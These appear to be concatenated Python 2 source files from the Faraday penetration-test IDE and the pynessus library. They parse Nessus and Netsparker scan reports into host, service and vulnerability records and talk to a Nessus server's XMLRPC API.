51 # Format is plugin_id: (attribute_name, regex_object, attribute_to_parse, multi_valued)
52 REGEX_MAP = {
53 '24272': ('ips', re_wmi_ip, 'plugin_output', True),
54 '25203': ('ips', re_ip, 'plugin_output', True),
55 '24270': ('', re_wmi_man, 'description', False),
56 '10395': ('shares', re_shares, 'plugin_output', True),
57 '10902': ('local_admins', re_local_admins, 'plugin_output', True),
58 '10860': ('local_users', re_local_admins, 'plugin_output', True),
59 '55555': ('', re_wsus, 'description', False),
60 '45433': ('', re_unix_memory, 'plugin_output', False),
61 '35351': ('', re_unix_model, 'plugin_output', False),
62 '45432': ('', re_unix_cpu, 'plugin_output', False),
63 }
64
65 # Local IP list
66 LOCAL_IP_LIST = [
67 '0.0.0.0',
68 '127.0.0.1',
69 ]
70
71 class Report(object):
72 def __init__(self):
73 self.name = None
74 self.targets = []
75 self.scan_start = None
76 self.scan_end = None
77
78 def parse(self, xml_file, from_string=False):
79 """Import .nessus file"""
80 # Parse XML file
81 #getLogger(self).debug("Parsing report start")
82 if from_string:
83 xml_file = StringIO(xml_file)
84
85 # Iterate through each host scanned and create objects for each
86 for event, elem in ET.iterparse(xml_file):
87
88 #getLogger(self).debug("Parsing elemn %s" % elem[0:20])
89 # Grab the report name from the Report element
90 if event == 'end' and elem.tag == 'Report':
91 self.name = elem.attrib.get('name')
92 continue
93
94 # Only process ReportHost elements
95 elif event == 'end' and elem.tag != 'ReportHost':
96 continue
97
98 rh_obj = ReportHost(elem)
99 if rh_obj:
100 self.targets.append(rh_obj)
101
102 # Update Report dates
103 if not self.scan_start:
104 self.scan_start = rh_obj.host_start
105 if not self.scan_end:
106 self.scan_end = rh_obj.host_end
107 if rh_obj.get('host_start'):
108 if rh_obj.host_start < self.scan_start:
109 self.scan_start = rh_obj.host_start
110 if rh_obj.host_end > self.scan_end:
111 self.scan_end = rh_obj.host_end
112
113 def __repr__(self):
114 return "<Report: %s>" % self.name
115
116 def get_target(self, name):
117 """Returns a target object given a name"""
118 for t in self.targets:
119 if name.lower() == t.name.lower():
120 return t
121
122 class ReportHost(object):
123 def __init__(self, xml_report_host):
124 self.name = None
125 self.dead = False
126 self.vulns = []
127
128 # Do a check to make sure it's well formed
129 # ...
130
131 # Get ReportHost name
132 self.name = xml_report_host.attrib.get('name')
133
134 # Get HostProperties tags
135 for n in xml_report_host.findall('HostProperties/tag'):
136 setattr(self, n.attrib.get('name'), n.text)
137
138 #getLogger(self).debug("Parsing host start tag")
139 tmp = Report()
140 # Convert scan dates and check for dead status
141 if self.get('HOST_START'):
142
143 self.host_start = self.get('HOST_START')
144 #getLogger(self).info("Host start found %s" % self.host_start)
145
146 #self.host_start = datetime.strptime(self.get('HOST_START'), HOST_DATE_FORMAT)
147 else:
148 self.dead = True
149 self.host_end = self.get('HOST_END')
150 #self.host_end = datetime.strptime(self.get('HOST_END'), HOST_DATE_FORMAT)
151
152 # Get all ReportItems
153 for ri in xml_report_host.findall('ReportItem'):
154 ri_obj = ReportItem(ri)
155 if ri_obj:
156 self.vulns.append(ri_obj)
157 xml_report_host.clear()
158
159 # Do an additional check for deadness
160 for v in self.find_vuln(plugin_id='10180'):
161 if 'dead' in str(v.get('plugin_output')):
162 self.dead = True
163
164 # Parse additional fields into host attributes
165 for plugin_id in REGEX_MAP:
166 att, regex, dest_att, multi = REGEX_MAP[plugin_id]
167 vulns = self.find_vuln(plugin_id=plugin_id)
168
169 # If multi flag is set, store results in a dict
170 if multi:
171 results = []
172
173 # Grab all plugins
174 for v in vulns:
175 if multi:
176 setattr(self, att, regex.findall(v.get(dest_att)))
177 else:
178 plugin_output = v.get(dest_att)
179 if not plugin_output:
180 continue
181
182 res = regex.search(v.get(dest_att))
183 if not res:
184 continue
185
186 # Check to see if named fields were given
187 if res.groupdict():
188 # Store each named field as an attribute
189 for k, v in res.groupdict().iteritems():
190 setattr(self, k, v)
191
192 # No named fields, just grab whatever matched
193 else:
194 setattr(self, att, res.group())
195
196 def __repr__(self):
197 return "<ReportHost: %s>" % self.name
198
199 def get(self, attr):
200 """Returns attribute value if it exists"""
201 try:
202 return getattr(self, attr)
203 except AttributeError:
204 return None
205
206 def find_vuln(self, **kwargs):
207 """Find a ReportItem given the search params"""
208 results = []
209
210 # Iterate through preferences
211 for r in self.vulns:
212 match = True
213 # If one of the search criteria doesn't match, set the flag
214 for k in kwargs:
215 if kwargs.get(k) != r.get(k):
216 match = False
217
218 # If it's a match, add it to results
219 if match:
220 results.append(r)
221 return results
222
223 def get_ips(self, exclude_local=True):
224 """Return a list of IPs for host"""
225 ip_list = set()
226 if re_ip.search(self.name):
227 ip_list.add(self.name)
228 if self.get('host-ip'):
229 ip_list.add(self.get('host-ip'))
230 if self.get('ips'):
231 ip_list.update(self.ips)
232
233 # If exclude_local is set, remove local IPs from list
234 if exclude_local:
235 for i in LOCAL_IP_LIST:
236 if i in ip_list:
237 ip_list.remove(i)
238
239 return list(ip_list)
240
241
242 def get_open_ports(self):
243 """Returns a dict of open ports found"""
244 results = {}
245
246 # Fetch results
247 vulns = self.find_vuln(plugin_id='0')
248
249 # For each port, put it in a dict
250 for v in vulns:
251 proto = v.get('protocol')
252 port = v.get('port')
253 if proto not in results:
254 results[proto] = []
255 results[proto].append(port)
256 return results
257
258 def get_name(self):
259 """Returns a friendly name for host"""
260 if re_ip.search(self.name):
261 if self.get('netbios-name'):
262 return self.get('netbios-name').lower()
263 elif self.get('host-fqdn'):
264 return self.get('host-fqdn').lower()
265 else:
266 return self.name
267 else:
268 return self.name
269
270 class ReportItem(object):
271 def __init__(self, xml_report_item):
272 # Make sure object is well formed
273 # ...
274
275 # Get ReportItem attributes
276 self.port = xml_report_item.attrib.get('port')
277 self.svc_name = xml_report_item.attrib.get('svc_name')
278 self.protocol = xml_report_item.attrib.get('protocol')
279 self.severity = xml_report_item.attrib.get('severity')
280 self.plugin_id = xml_report_item.attrib.get('pluginID')
281 self.plugin_name = xml_report_item.attrib.get('pluginName')
282 self.plugin_family = xml_report_item.attrib.get('pluginFamily')
283
284 # Create multi-valued atts
285 for m in MULTI_VALUED_ATTS:
286 setattr(self, m, list())
287
288 # Get optional nodes
289 for n in xml_report_item.getchildren():
290 # If it's a multi-valued att, append to list
291 if n.tag in MULTI_VALUED_ATTS:
292 v = getattr(self, n.tag)
293 v.append(n.text.strip())
294 setattr(self, n.tag, v)
295 continue
296
297 # If it's not a multi-valued att, store it as a string
298 setattr(self, n.tag, n.text.strip())
299
300 xml_report_item.clear()
301
302 def __repr__(self):
303 return "<ReportItem: %s/%s %s %s>" % (self.port, self.protocol, self.plugin_id, self.plugin_name)
304
305 def get(self, attr):
306 """Returns attribute value if it exists"""
307 try:
308 return getattr(self, attr)
309 except AttributeError:
310 return None
311
312
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16 import dotnessus_v2
17
18
19 current_path = os.path.abspath(os.getcwd())
20
21 __author__ = "Francisco Amato"
22 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
23 __credits__ = ["Francisco Amato"]
24 __license__ = ""
25 __version__ = "1.0.0"
26 __maintainer__ = "Francisco Amato"
27 __email__ = "[email protected]"
28 __status__ = "Development"
29
30
31
32
33
34 class NessusParser(object):
35 """
36 The objective of this class is to parse an xml file generated by the nessus tool.
37
38 TODO: Handle errors.
39 TODO: Test nessus output version. Handle what happens if the parser doesn't support it.
40 TODO: Test cases.
41
42 @param nessus_filepath A proper simple report generated by nessus
43 """
44 def __init__(self, output):
45 lists = output.split("\r\n")
46 i=0;
47 self.items = []
48 if re.search("Could not reach",output) is not None:
49 self.fail = True
50 return
51
52 for line in lists:
53 if i > 8:
54 item = {'link' : line}
55 self.items.append(item)
56 i=i+1
57
58
59 class NessusPlugin(core.PluginBase):
60 """
61 Example plugin to parse nessus output.
62 """
63 def __init__(self):
64 core.PluginBase.__init__(self)
65 self.id = "Nessus"
66 self.name = "Nessus XML Output Plugin"
67 self.plugin_version = "0.0.1"
68 self.version = "5.2.4"
69 self.framework_version = "1.0.1"
70 self.options = None
71 self._current_output = None
72 self._current_path = None
73 self._command_regex = re.compile(r'^(nessus|sudo nessus|\.\/nessus).*?')
74 self.host = None
75 self.port = None
76 self.protocol = None
77 self.fail = None
78
79 global current_path
80 self.output_path = os.path.join(self.data_path,
81 "nessus_output-%s.txt" % self._rid)
82
83
84
85 def canParseCommandString(self, current_input):
86 if self._command_regex.match(current_input.strip()):
87 return True
88 else:
89 return False
90
91
92 def parseOutputString(self, output, debug = False):
93 """
94 This method will discard the output the shell sends, it will read it from
95 the xml where it expects it to be present.
96
97 NOTE: if 'debug' is true then it is being run from a test case and the
98 output being sent is valid.
99 """
100 p = dotnessus_v2.Report()
101 try:
102 p.parse(output, from_string=True)
103 except Exception as e:
104 print "Exception - %s" % e
105
106 for t in p.targets:
107 mac=""
108 host=""
109 ip=""
110
111 if t.get('mac-address'):
112 mac=t.get('mac-address')
113 if t.get('host-fqdn'):
114 host=t.get('host-fqdn')
115 if t.get('host-ip'):
116 ip=t.get('host-ip')
117
118
119 h_id = self.createAndAddHost(ip,t.get('operating-system'))
120
121 if self._isIPV4(ip):
122 i_id = self.createAndAddInterface(h_id, ip, mac, ipv4_address=ip, hostname_resolution=host)
123 else:
124 i_id = self.createAndAddInterface(h_id, ip, mac, ipv6_address=ip, hostname_resolution=host)
125
126 srv={}
127 web=False
128 for v in t.vulns:
129
130 desc=""
131 desc+=v.get('description') if v.get('description') else ""
132 desc+="\nSolution: "+ v.get('solution') if v.get('solution') else ""
133 desc+="\nOutput: "+v.get('plugin_output') if v.get('plugin_output') else ""
134 ref=[]
135 if v.get('cve'):
136 ref.append(", ".join(v.get('cve')))
137 if v.get('bid'):
138 ref.append(", ".join(v.get('bid')))
139 if v.get('xref'):
140 ref.append(", ".join(v.get('xref')))
141 if v.get('svc_name') == "general":
142 v_id = self.createAndAddVulnToHost(h_id, v.get('plugin_name'),
143 desc,ref,severity=v.get('severity'))
144 else:
145
146 s_id = self.createAndAddServiceToInterface(h_id, i_id, v.get('svc_name'),
147 v.get('protocol'),
148 ports = [str(v.get('port'))],
149 status = "open")
150
151 web=True if re.search(r'^(www|http)',v.get('svc_name')) else False
152 if srv.has_key(v.get('svc_name')) == False:
153 srv[v.get('svc_name')]=1
154 if web:
155 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
156 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,host,"")
157
158 if web:
159 v_id = self.createAndAddVulnWebToService(h_id, s_id, v.get('plugin_name'),
160 desc,website=host, severity=v.get('severity'),ref=ref)
161 else:
162 v_id = self.createAndAddVulnToService(h_id, s_id, v.get('plugin_name'),
163 desc,
164 severity=v.get('severity'),ref = ref)
165
166
167 def _isIPV4(self, ip):
168 if len(ip.split(".")) == 4:
169 return True
170 else:
171 return False
172
173 def processCommandString(self, username, current_path, command_string):
174 return None
175
176 def setHost(self):
177 pass
178
179 def resolve(self, host):
180 try:
181 return socket.gethostbyname(host)
182 except:
183 pass
184 return host
185
186 def createPlugin():
187 return NessusPlugin()
188
189 if __name__ == '__main__':
190 parser = NessusParser(sys.argv[1])
191 for item in parser.items:
192 if item.status == 'up':
193 print item
0 # pynessus.py
1 # Python module to interact with a Nessus 4.x scanner via XMLRPC.
2 # http://code.google.com/p/pynessus/
3 #
4 # Copyright (C) 2010 Dustin Seibel
5 #
6 # GNU General Public Licence (GPL)
7 #
8 # This program is free software; you can redistribute it and/or modify it under
9 # the terms of the GNU General Public License as published by the Free Software
10 # Foundation; either version 2 of the License, or (at your option) any later
11 # version.
12 # This program is distributed in the hope that it will be useful, but WITHOUT
13 # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
14 # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
15 # details.
16 # You should have received a copy of the GNU General Public License along with
17 # this program; if not, write to the Free Software Foundation, Inc., 59 Temple
18 # Place, Suite 330, Boston, MA 02111-1307 USA
19 #
20 # 2010-08-12: 0.1.0: Initial version.
21 # 2011-03-12: 0.2.1: Added a bunch of methods and robustified everything.
22 import sys
23 import urllib2
24 from urlparse import urljoin
25 from urllib import quote
26 import xml.etree.ElementTree as ET
27 import re
28 import datetime
29 import os
30 from random import randint
31
32 # Regex defs
33 re_unix_timestamp = re.compile('^\d{10}$')
34 re_unauthorized = re.compile('<title>200 Unauthorized</title>')
35
36 TOKEN_FILE = '.nessus_token'
37
38 # Plugin multi-value tags
39 PLUGIN_MULTI_VAL = [
40 'bid',
41 'xref',
42 'cve',
43 ]
44
45 class NessusServer(object):
46 def __init__(self, server, port, username, password, verbose=False):
47 self.server = server
48 self.port = port
49 self.username = username
50 self.password = password
51 self.base_url = 'https://%s:%s' % (self.server, self.port)
52 self.verbose = verbose
53 self.launched_scans = {}
54
55 # Force urllib2 to not use a proxy
56 hand = urllib2.ProxyHandler({})
57 opener = urllib2.build_opener(hand)
58 urllib2.install_opener(opener)
59
60 self.login()
61
62 # If token file exists, use it
63 #self.token = get_token_file()
64 #if not self.check_auth():
65 # self.login()
66 # success = create_token_file(self.token)
67 # # if not success...
68
69
70 def login(self):
71 """Login to server"""
72 # If token file exists, try to use it
73 self.token = get_token_file()
74 if self.check_auth():
75 return True
76
77 # Make call to server
78 data = make_args(login=self.username, password=quote(self.password))
79 resp = self._call('login', data)
80 if self.verbose:
81 print resp
82
83 # Parse token
84 seq, status, parsed = parse_reply(resp, ['token'])
85 if 'token' in parsed:
86 self.token = parsed['token']
87 else:
88 return False
89
90 # Store it on the filesystem
91 success = create_token_file(self.token)
92 if success:
93 return True
94 else:
95 return False
96
97 def logout(self):
98 """Logout from server"""
99 data = make_args(token=self.token)
100 resp = self._call('logout', data)
101 self.token = None
102
103 def check_auth(self):
104 """Does a quick check to make sure token is still valid"""
105 if not self.token:
106 return False
107 data = make_args(token=self.token)
108 resp = self._call('scan/list', data)
109 if not resp:
110 return False
111 elif re_unauthorized.search(resp):
112 return False
113 else:
114 return True
115
116 def download_plugins(self):
117 """Downloads all plugins"""
118 data = make_args(token=self.token)
119 resp = self._call('plugins/descriptions', data)
120
121 # Get parsed data
122 keys = []
123 seq, status, parsed = parse_reply(resp, keys, uniq='pluginID', start_node='pluginsList')
124 return parsed
125
126 def download_report(self, uuid, v1=False):
127 """Retrieves a report"""
128 if v1:
129 data = make_args(token=self.token, report=uuid, v1='true')
130 else:
131 data = make_args(token=self.token, report=uuid)
132 url = urljoin(self.base_url, 'file/report/download/?%s' % data)
133 req = urllib2.urlopen(url)
134 resp = req.read()
135 if not check_auth(resp):
136 print >> sys.stderr, "Unauthorized"
137 return None
138 return resp
139
140 def launch_scan(self, name, policy_id, target_list):
141 """Launches scan. Returns UUID of scan."""
142 arg_targets = quote('\n'.join(target_list))
143 data = make_args(token=self.token, scan_name=quote(name), policy_id=policy_id, target=arg_targets)
144 resp = self._call('/scan/new', data)
145 if self.verbose:
146 print resp
147
148 # Get parsed data
149 keys = ['uuid', 'owner', 'start_time', 'scan_name']
150 seq, status, parsed = parse_reply(resp, keys)
151 self.launched_scans[parsed['uuid']] = parsed
152 return parsed['uuid']
153
154 def list_plugins(self):
155 """List plugins"""
156 data = make_args(token=self.token)
157 resp = _call('plugins/list', data)
158
159 def list_policies(self):
160 """List policies"""
161 data = make_args(token=self.token)
162 resp = self._call('policy/list', data)
163
164 # Get parsed data
165 seq, status, parsed = parse_reply(resp, ['policyName', 'policyOwner', 'policyComments'], uniq='policyID')
166 return parsed
167
168 def get_policy_id(self, policy_name):
169 """Attempts to grab the policy ID for a name"""
170 pols = self.list_policies()
171 for k, v in pols.iteritems():
172 if v.get('policyName').lower() == policy_name:
173 return k
174
175 def list_reports(self):
176 """List reports"""
177 data = make_args(token=self.token)
178 resp = self._call('report/list', data)
179
180 # Get parsed data
181 seq, status, parsed = parse_reply(resp, ['name', 'readableName', 'timestamp', 'status'], uniq='name')
182 return parsed
183
184 def list_scans(self):
185 """List scans"""
186 data = make_args(token=self.token)
187 resp = self._call('scan/list', data)
188
189 # Get parsed data
190 keys = ['owner', 'start_time', 'completion_current', 'completion_total']
191 seq, status, parsed = parse_reply(resp, keys, uniq='uuid', start_node='scans/scanList')
192 return parsed
193
194 def list_hosts(self, report_uuid):
195 """List hosts for a given report"""
196 data = make_args(token=self.token, report=report_uuid)
197 resp = self._call('report/hosts', data)
198
199 # Get parsed data
200 keys = ['hostname', 'severity']
201 seq, status, parsed = parse_reply(resp, keys, uniq='hostname', start_node='hostList')
202 return parsed
203
204 def list_ports(self, report_uuid, hostname):
205 """List hosts for a given report"""
206 data = make_args(token=self.token, report=report_uuid, hostname=hostname)
207 resp = self._call('report/ports', data)
208 #return resp
209
210 # Get parsed data
211 seq, status, parsed = parse_ports(resp)
212 return parsed
213
214 def list_detail(self, report_uuid, hostname, protocol, port):
215 """List details for a given host/protocol/port"""
216 data = make_args(token=self.token, report=report_uuid, hostname=hostname, protocol=protocol, port=port)
217 resp = self._call('report/detail', data)
218 #return resp
219
220 # Get parsed data
221 seq, status, parsed = parse_ports(resp)
222 return parsed
223
224 def list_tags(self, report_uuid, hostname):
225 """List hosts for a given report"""
226 data = make_args(token=self.token, report=report_uuid, hostname=hostname)
227 resp = self._call('report/tags', data)
228 #return resp
229
230 # Get parsed data
231 seq, status, tags = parse_tags(resp)
232 return tags
233
234 ## Template methods
235 def create_template(self, name, policy_id, target_list):
236 """Creates a new scan template. Returns """
237 arg_targets = quote('\n'.join(target_list))
238 data = make_args(token=self.token, template_name=quote(name), policy_id=policy_id, target=arg_targets)
239 resp = self._call('/scan/template/new', data)
240
241 def edit_template(self, template_id, name, policy_id, target_list):
242 """Edits an existing scan template."""
243 arg_targets = quote('\n'.join(target_list))
244 data = make_args(token=self.token, template=template_id, template_name=quote(name), policy_id=policy_id, target=arg_targets)
245 resp = self._call('/scan/template/edit', data)
246
247 def list_templates(self):
248 """List templates"""
249 data = make_args(token=self.token)
250 resp = self._call('scan/list', data)
251
252 # Get parsed data
253 keys = ['policy_id', 'readableName', 'owner', 'startTime']
254 seq, status, parsed = parse_reply(resp, keys, uniq='name', start_node='templates')
255 return parsed
256
257 def _call(self, func_url, args):
258 url = urljoin(self.base_url, func_url)
259 if self.verbose:
260 print "URL: '%s'" % url
261 print "POST: '%s'" % args
262 req = urllib2.urlopen(url, args)
263 resp = req.read()
264 if not check_auth(resp):
265 print >> sys.stderr, "200 Unauthorized"
266 return resp
267 return resp
268
269 def check_auth(resp_str):
270 """Checks for an unauthorized message in HTTP response."""
271 if re_unauthorized.search(resp_str):
272 return False
273 else:
274 return True
275
276 def create_token_file(token, token_file=TOKEN_FILE):
277 """Creates token file"""
278 if not token:
279 return False
280 # Write to file
281 try:
282 fout = open(token_file, 'w')
283 except IOError:
284 return False
285 fout.write(token)
286 fout.close()
287
288 # Confirm the file was created and has the right token
289 new_token = get_token_file(token_file)
290 if new_token != token:
291 return False
292 else:
293 return True
294
295 def get_token_file(token_file=TOKEN_FILE):
296 """Checks token from file"""
297 if not os.path.isfile(token_file):
298 return False
299 fin = open(token_file, 'r')
300 token = fin.read()
301 fin.close()
302 return token
303
304 def convert_date(unix_timestamp):
305 """Converts UNIX timestamp to a datetime object"""
306 #try:
307 # return datetime.datetime.fromtimestamp(float(unix_timestamp))
308 #except Exception:
309 # return unix_timestamp
310 return datetime.datetime.fromtimestamp(float(unix_timestamp))
311
312 def parse_reply(xml_string, key_list, start_node=None, uniq=None):
313 """Gets all key/value pairs from XML"""
314 ROOT_NODES = ['seq', 'status', 'contents']
315 if not xml_string:
316 return (0, 'Not a valid string', {})
317
318 # Parse xml
319 try:
320 xml = ET.fromstring(xml_string)
321 except ET.ExpatError:
322 return (0, 'Cannot parse XML', {})
323
324 # Make sure it looks like what we expect it to be
325 if [t.tag for t in xml.getchildren()] != ROOT_NODES:
326 return (0, 'XML not formatted correctly', {})
327
328 # Get seq and status
329 seq = xml.findtext('seq')
330 status = xml.findtext('status')
331
332 # If start node was given, append it to contents node
333 if start_node:
334 start_node = 'contents/%s' % start_node
335 else:
336 start_node = 'contents'
337 if not xml.find(start_node):
338 return (seq, 'start_node not found', {})
339
340 # If a unique value was given, make sure it is a valid tag
341 if uniq:
342 found = False
343 for x in xml.find(start_node).getiterator():
344 if x.tag == uniq:
345 found = True
346 break
347 if not found:
348 return (seq, 'uniq not a valid tag', {})
349
350 # Parse keys from contents
351 d = {}
352 for x in xml.find(start_node).getiterator():
353 if uniq:
354 # If tag is a unique field, start a new dict
355 if x.tag == uniq:
356 d[x.text] = {}
357 k = x.text
358
359 # Store key/value pair if tag is in key list or if no key list was given
360 if not x.text:
361 continue
362 if ((x.tag in key_list) or (not key_list)) and x.text.strip():
363 # If the tag has the word time and the value is a UNIX timestamp, convert it
364 if 'time' in x.tag and re_unix_timestamp.search(x.text):
365 d[k][x.tag] = convert_date(x.text)
366 else:
367 # Check to see if this is multi-valued
368 if x.tag in PLUGIN_MULTI_VAL:
369 if x.tag in d[k]:
370 d[k][x.tag].append(x.text)
371 else:
372 d[k][x.tag] = [x.text]
373 else:
374 d[k][x.tag] = x.text
375
376 else:
377 # Store key/value pair if tag is in key list
378 if not x.text:
379 continue
380 if ((x.tag in key_list) or (not key_list)) and x.text.strip():
381 # If the tag has the word time and the value is a UNIX timestamp, convert it
382 if 'time' in x.tag and re_unix_timestamp.search(x.text):
383 d[x.tag] = convert_date(x.text)
384 else:
385 d[x.tag] = x.text
386 return (seq, status, d)
387
388 def parse_reply_orig(xml_string, key_list, start_node=None, uniq=None):
389 """Gets all key/value pairs from XML"""
390 ROOT_NODES = ['seq', 'status', 'contents']
391 if not xml_string:
392 return (0, 'Not a valid string', {})
393
394 # Parse xml
395 try:
396 xml = ET.fromstring(xml_string)
397 except ET.ExpatError:
398 return (0, 'Cannot parse XML', {})
399
400 # Make sure it looks like what we expect it to be
401 if [t.tag for t in xml.getchildren()] != ROOT_NODES:
402 return (0, 'XML not formatted correctly', {})
403
404 # Get seq and status
405 seq = xml.findtext('seq')
406 status = xml.findtext('status')
407
408 # If start node was given, append it to contents node
409 if start_node:
410 start_node = 'contents/%s' % start_node
411 else:
412 start_node = 'contents'
413 if not xml.find(start_node):
414 return (seq, 'start_node not found', {})
415
416 # If a unique value was given, make sure it is a valid tag
417 if uniq:
418 found = False
419 for x in xml.find(start_node).getiterator():
420 if x.tag == uniq:
421 found = True
422 break
423 if not found:
424 return (seq, 'uniq not a valid tag', {})
425
426 # Parse keys from contents
427 d = {}
428 for x in xml.find(start_node).getiterator():
429 if uniq:
430 # If tag is a unique field, start a new dict
431 if x.tag == uniq:
432 d[x.text] = {}
433 k = x.text
434
435 # Store key/value pair if tag is in key list
436 if x.tag in key_list:
437 # If the tag has the word time and the value is a UNIX timestamp, convert it
438 if 'time' in x.tag and re_unix_timestamp.search(x.text):
439 d[k][x.tag] = convert_date(x.text)
440 else:
441 d[k][x.tag] = x.text
442
443 else:
444 # Store key/value pair if tag is in key list
445 if x.tag in key_list:
446 # If the tag has the word time and the value is a UNIX timestamp, convert it
447 if 'time' in x.tag and re_unix_timestamp.search(x.text):
448 d[x.tag] = convert_date(x.text)
449 else:
450 d[x.tag] = x.text
451 return (seq, status, d)
452
453 def parse_ports(xml_string):
454 """Parses ports from report/ports"""
455 ROOT_NODES = ['seq', 'status', 'contents']
456 if not xml_string:
457 return (0, 'Not a valid string', {})
458
459 # Parse xml
460 try:
461 xml = ET.fromstring(xml_string)
462 except ET.ExpatError:
463 return (0, 'Cannot parse XML', {})
464
465 # Make sure it looks like what we expect it to be
466 if [t.tag for t in xml.getchildren()] != ROOT_NODES:
467 return (0, 'XML not formatted correctly', {})
468
469 # Get seq and status
470 seq = xml.findtext('seq')
471 status = xml.findtext('status')
472
473 # Parse ports
474 d = {'tcp': {}, 'udp': {}, 'icmp': {}}
475 for t in xml.findall('contents/portList/port'):
476 port_d = {}
477 prot = t.findtext('protocol')
478 num = t.findtext('portNum')
479
480 # Get additional attributes
481 port_d['severity'] = t.findtext('severity')
482 port_d['svcName'] = t.findtext('svcName')
483
484 d[prot][num] = port_d
485 return (seq, status, d)
486
487 def parse_tags(xml_string):
488 """Parses tags from report/tags"""
489 ROOT_NODES = ['seq', 'status', 'contents']
490 if not xml_string:
491 return (0, 'Not a valid string', {})
492
493 # Parse xml
494 try:
495 xml = ET.fromstring(xml_string)
496 except ET.ExpatError:
497 return (0, 'Cannot parse XML', {})
498
499 # Make sure it looks like what we expect it to be
500 if [t.tag for t in xml.getchildren()] != ROOT_NODES:
501 return (0, 'XML not formatted correctly', {})
502
503 # Get seq and status
504 seq = xml.findtext('seq')
505 status = xml.findtext('status')
506
507 # Parse tags
508 d = {}
509 for t in xml.findall('contents/tags/tag'):
510 k = t.findtext('name')
511 v = t.findtext('value')
512 d[k] = v
513 return (seq, status, d)
514
515 def make_args(**kwargs):
516 """Returns arg list suitable for GET or POST requests"""
517 args = []
518 for k in kwargs:
519 args.append('%s=%s' % (k, str(kwargs[k])))
520
521 # Add a random number
522 seq = randint(1, 1000)
523 args.append('seq=%d' % seq)
524
525 return '&'.join(args)
526
527 def zerome(string):
528 # taken from http://www.codexon.com/posts/clearing-passwords-in-memory-with-python
529 # to be used to secure the password in memory
530 # find the header size with a dummy string
531 temp = "finding offset"
532 header = ctypes.string_at(id(temp), sys.getsizeof(temp)).find(temp)
533
534 location = id(string) + header
535 size = sys.getsizeof(string) - header
536
537 # Check platform
538 if 'windows' in sys.platform.lower():
539 memset = ctypes.cdll.msvcrt.memset
540 else:
541 # For Linux, use the following. Change the 6 to whatever it is on your computer.
542 memset = ctypes.CDLL("libc.so.6").memset
543
544 print "Clearing 0x%08x size %i bytes" % (location, size)
545
546 memset(location, 0, size)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import sys
15 import socket,urllib
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38 class NetsparkerXmlParser(object):
39 """
40 The objective of this class is to parse an xml file generated by the netsparker tool.
41
42 TODO: Handle errors.
43 TODO: Test netsparker output version. Handle what happens if the parser doesn't support it.
44 TODO: Test cases.
45
46 @param netsparker_xml_filepath A proper xml generated by netsparker
47 """
48 def __init__(self, xml_output):
49 self.filepath = xml_output
50
51 tree = self.parse_xml(xml_output)
52 if tree:
53 self.items = [data for data in self.get_items(tree)]
54 else:
55 self.items = []
56
57
58 def parse_xml(self, xml_output):
59 """
60 Open and parse an xml file.
61
62 TODO: Write custom parser to just read the nodes that we need instead of
63 reading the whole file.
64
65 @return xml_tree An xml tree instance. None if error.
66 """
67 try:
68 tree = ET.fromstring(xml_output)
69 except SyntaxError, err:
70 self.devlog("SyntaxError: %s. %s" % (err, xml_output))
71 return None
72
73 return tree
74
75 def get_items(self, tree):
76 """
77 @return items A list of Host instances
78 """
79 for node in tree.findall("vulnerability"):
80 yield Item(node)
81
82
83
84
85 class Item(object):
86 """
87 An abstract representation of a Item
88
89
90 @param item_node A item_node taken from an netsparker xml tree
91 """
92 def __init__(self, item_node):
93 self.node = item_node
94 self.url = self.get_text_from_subnode("url")
95
96 host = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", self.url)
97
98 self.protocol = host.group(1)
99 self.hostname = host.group(4)
100 self.port=80
101
102 if self.protocol == 'https':
103 self.port=443
104 if host.group(11) is not None:
105 self.port = host.group(11)
106
107
108 self.name = self.get_text_from_subnode("type")
109 self.severity = self.get_text_from_subnode("severity")
110 self.certainty = self.get_text_from_subnode("certainty")
111 self.method = self.get_text_from_subnode("vulnerableparametertype")
112 self.param = self.get_text_from_subnode("vulnerableparameter")
